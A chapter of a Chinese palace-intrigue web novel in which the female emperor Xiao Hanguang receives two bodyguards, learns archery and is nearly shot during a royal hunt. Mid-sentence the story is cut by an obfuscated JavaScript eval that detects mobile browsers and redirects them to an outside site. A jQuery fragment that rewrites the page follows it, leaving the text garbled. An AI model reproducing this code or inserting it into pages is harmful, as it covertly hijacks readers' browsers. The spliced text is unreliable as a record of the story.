萧含光轻步踏入椒房殿，殿内，沉水香的袅袅余韵，似无形的丝缕，于空气中盘桓流动。
太皇太后倚靠在凤座之上，头微微偏向一侧，似在浅眠。凤冠的珠串随着她均匀的呼吸轻轻晃动，在烛光下投下细碎的影子。
她的面容在睡梦中显得分外苍老，眼角的皱纹如同刀刻一般。那双平日里锐利如鹰的眼睛此刻紧闭着，眼睑下隐约可见淡淡的青影，两道细眉间还残留着未舒展的倦意。
夏从德跪在凤座前，低声禀报道：“太皇太后，陛下来了。”
太皇太后微微睁了一下眼，旋即闭上，又过了一会，她才从睡梦中缓了过来，看向下方的萧含光，招呼道：“皇帝来了？”
萧含光跪下行礼：“孙儿参见太皇太后。”
太皇太后摆了摆手，示意平身，又招手道：“阿樗，你过来，到哀家近前来。”
萧含光起身，走到凤座之前，她不敢靠得太近，在距离太皇太后三尺之处站定。太皇太后并不说话，只是静静地凝望着她。
太皇太后看她的目光与从前不同。
从前，太皇太后投注在她身上的目光，总是冰冷、威严且极具压迫之感，令她心生恐惧、惊惶战栗，仿若置身寒冬。而此刻，那目光之中竟隐约透着一丝温情，或许还夹杂着些许哀痛。让萧含光觉得，太皇太后似是透过她，在看别的什么人。
她承受着这目光，收敛着心中疑虑，不敢有丝毫的表情流露，亦不敢有任何动作。
良久，太皇太后收回目光，缓声道：“哀家今日唤你过来，便是想与皇帝商议一下夏苗礼的事情，好让皇帝先有个准备……”
“夏苗礼？”
萧含光秀眉微蹙，面露迟疑之色。
“按照我大楚朝廷惯例，每年四时，会行畋猎之礼，分别为春蒐、夏苗、秋狝、冬狩，以表不废武事。”太皇太后渐渐坐直身子，神色也变得庄重起来，道：“按照哀家的想法，今年北伐之前，应该举行春蒐礼，以祈个好兆头。无奈今春阴雨连绵，春蒐未能如期举行。”
太皇太后目光炯炯，道：“如今战事胶着，哀家以为，这夏苗礼也该尽快提上日程。皇帝率文武百官前往覆舟山的猎场行猎，正可振奋人心，将朝廷百官因战事拖延而渐趋懈怠的士气重新凝聚起来。皇帝意下如何？”
萧含光心中明白，太皇太后并非真的与她商议此事，她只是在告知她，让她做好相应准备。于是她躬身应道：“太皇太后所言甚是。只是……”她微微咬了咬下唇，面露为难之色：“但孙儿不懂骑射，只恐届时出错……”
太皇太后闻言，转头望向夏从德，道：“你去请紫乔、葛巾两人过来。”
“是。”夏从德领命，动作敏捷地起身，转身快步离去。
不一会，两名身着黑色劲装的女子，并肩步入椒房殿中。左边的女子身形高挑，面容冷峻，双眸若寒星闪烁，透着一股犀利与果敢之气。右边的女子身形稍矮，肌肤胜雪，柳眉弯弯，看上去灵动而干练。二人一同跪地行礼，动作整齐划一，显然训练有素。
太皇太后的视线重新落在萧含光身上：“你的祖父戎马一生，南征北战，每次田猎都是亲身上阵。如今皇帝虽然不需要亲自沙场征战，但这骑射之术也该知晓一些。葛巾和紫乔两人是一对亲姐妹，身手不凡，也精于骑射。她们是哀家身边的暗卫，也是哀家信得过的人。哀家今天就将这两人给你，一来在夏苗礼之前教皇帝骑射之术，二来也可以暗中保护皇帝的安全。”
太皇太后似乎有些困倦，她打了一个哈欠，又道：“皇帝以后要出宫，或者要去哪儿做什么，无须事事向哀家奏报，可自行定夺。”
萧含光躬身行礼：“多谢太皇太后恩典。”
她心中轻轻舒了一口气。太皇太后这番话意味着她终于拥有了自己行动的权限，出入不再需要受制于人。
——自三岁踏入药师庵起，她终于算是迎来了一丝自由的曙光。只是，这自由也是有限的，皇帝的身份本身就是一种桎梏。在大部分时间里，她仍只能囿于这一方宫室。
太皇太后又对紫乔、葛巾二人道：“从今天开始，你们两人就是皇帝的人，只忠于皇帝一人，只听从皇帝一人的命令，明白吗？”
紫乔、葛巾二人一同叩头，齐声应道：“谨遵懿旨。”
这日之后，萧含光的日程便更忙了。每日下午黄昏时分，她需至位于华林园的西射圃学习骑射，骑马倒是不难，宫中的御马都经过驯化，性情温顺，不过两三日，她便能独自骑马在射圃中溜达。但射箭便难了，她苦练了十余日，也仅能勉强射中靶面，难以命中靶心。
但夏苗礼本属祭礼，祭祀为重，杀生为次，只需她摆出个样子，不在众人面前出丑便好。
五月十八日清早。
皇帝与文武百官皆着戎服，往覆舟山北的皇家猎场行猎。这日天气不错，就连久居深宫的太皇太后也来了兴致，乘坐凤舆前往观猎。
皇家猎场依山而建。此地经常举行狩礼，修缮精美，亭台楼阁掩映山中，相映成趣，既可观景，也可看见下方狩猎的情形。山下则是马厩和猎场，禽兽大多为饲养，多数为鹿、獐子、狍等，也有野鸡、野兔等。
山中一早建好了礼台，旌旗猎猎飘扬。百官在礼台两侧站定之时，萧含光忽然在人群中瞧见一道熟悉的身影。
宋海晏身着戎装，独自立于一杆旌旗之下，遥望远处的猎场。数个月过去，他长得比从前更高了一些，目光也比从前更加深沉、冷峻。单单站在那里，就好似一柄刚开刃的绝代名刀，锋芒毕露，锐气逼人。一众养尊处优、缓带轻裘的世家子弟在他身边来来去去，这种鹤立鸡群的感受越发直观。即便萧含光不刻意去看，也难以忽视他的存在。
这几日，她下朝之后，空闲的时间忙着学习骑射，连齐韶都鲜少见到，竟不知道宋海晏又回了金陵，也出席今日的夏苗礼。
似乎感应到她的目光，宋海晏抬眸朝礼台瞥来。目光交汇的瞬间，他眼中闪过一丝不易察觉的波动，旋即若无其事地转头，朝着迎面走来的裴光献走去。他热情地挽起裴光献的胳膊，两人一同走进中书省官员的队列，他熟稔地与众人打招呼，面带笑容，说着些什么。
当他周旋于众人之间时，身上那种冷峻深沉的气质便消失不见，仿佛依旧是从前那个神采飞扬的少年郎。
鼓声骤然响起，文武百官一同朝礼台望去。
萧含光在太常署的引导下，完成开场前的祭仪。
祭仪结束后，太仆卿牵着御马走来，搀扶皇帝上马。太常丞双手捧着一张牛角弓，呈于御前。属官在御前放飞一只体态肥硕的雉鸟。
田猎之礼，君王需先射禽，之后文武百官方可开始射猎。太常寺知皇帝射术欠佳，特意在田猎前，给这只雉鸟多多喂食，使其体格肥胖，无法高飞。
萧含光连发三箭，终于射中了这只雉鸟。
群臣一同跪拜，三呼万岁，行猎正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351075|180124||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
式开始，诸王公大臣、世家子弟纷纷下场，带弓出猎。
萧含光清楚自己临时抱佛脚的射术，也就技止于此了，不想再下场凑热闹。齐韶体察圣意，令紫乔、葛巾领着皇帝在位于山坡处的一座凉亭暂时休歇。
这座凉亭视野不错，虽位置不算高，也约略可见群马竞逐、鸟兽惊飞的景象。皇帝时不时听到世家少年子弟射中猎物之后的雀跃喝彩声，似乎彰显着大楚世家们充沛的武德。
忽地，萧含光见两人沿着亭下的林间小道缓缓行来，正是早前所见的宋海晏和裴光献两人。
裴光献的声音隔着几行高树传来：“海晏，你手持弓箭，为何不下场一试？今日射猎可是有彩头的，这猎场中有一头正值壮年的雄鹿，双角大如交戟，行动矫捷如飞。谁若能射中这头鹿，可得赏金十锭，玉如意一对……若不是我实在不精通骑射，真想下场一试……”
宋海晏道：“裴家为襄阳大族，还差这点赏金吗？”
裴光献道：“金玉倒是其次，如今北方兴战，太常署这个时候安排下‘射鹿’的事，无非是求个吉利的好兆头。诸世家谁能得鹿，献于御前，博得个好名声，说出去也可叫人夸耀。你不见齐家、魏家的那些子弟，人人上马追逐，唯恐落后于人。要我说，他们那都是些假把式，怎比得上阿晏你沙场征战磨砺出的威风。只要你今日出手，那只鹿定是你的囊中之物……”
“嘿嘿……”裴光献笑了几声，道：“如今，你宋家在前线杀敌，若你小宋将军再将这头鹿献于御前，传扬出去，岂不是一段佳话……说不定，连皇帝陛下都会对你另眼相看。等你飞黄腾达，可别忘了提携朋友……”
宋海晏静默一息。
少顷，他叹了一声，道：“裴兄，你知道我此番回金陵，是为了前方军粮短缺之事。昨日我前去拜会魏中书，魏中书说此事他做不了主，让我去求见司徒公齐鸿。可到了司徒府，府中管事却说司徒公事务繁忙，无暇见我。如今军粮之事悬而未决，我在金陵多留一日，前方将士便多忍饥挨饿一天，我哪有心思与他们争这些意气……”
裴光献也知晓朝中事务，出言安慰道：“海晏也不必过于忧心，太皇太后和皇帝陛下既有北伐之志，定会设法解决军粮之事……”
他话音未落，宋海晏忽疾声道：“小心——”
裴光献转身望去，只见一头雄鹿被群马追逐着，朝树林这边奔来。他整个人已被宋海晏拉到一旁，那雄鹿越过两人，朝着矮坡上的凉亭冲去。亭中坐着三人，只是树影遮蔽，看不清亭中之人是谁。
“不好，亭中有人——”裴光献惊呼出声。
宋海晏耳聪目明，远远便看清坐在亭中的乃是大楚国君，他的呼吸瞬间凝滞，手中弓箭下意识地控弦而发，箭矢如闪电般射出。
电光火石之间，身后追逐雄鹿的世家少年们已驱马上前。为首之人是太常卿齐梁的次子齐颂。齐颂见旁边有人搭弓射箭，生怕这“射鹿”的功劳被人抢去，他不顾亭中有人，连发三箭，朝着雄鹿射去。
萧含光本留意着宋海晏和裴光献的交谈，冷不防见雄鹿朝亭中冲来，下意识想要后退，此时那雄鹿胸口已中一箭，轰然倒在台阶之下。
紧接着，接连三箭朝着自己面门射来。惊惧之下，她几乎忘了动作。
在这千钧一发之际，她整个人被紫乔按倒在地。与此同时，葛巾拔刀，击落两支箭矢，第三支箭来势迅猛，葛巾来不及应对，被箭矢直直贯入右胸之中。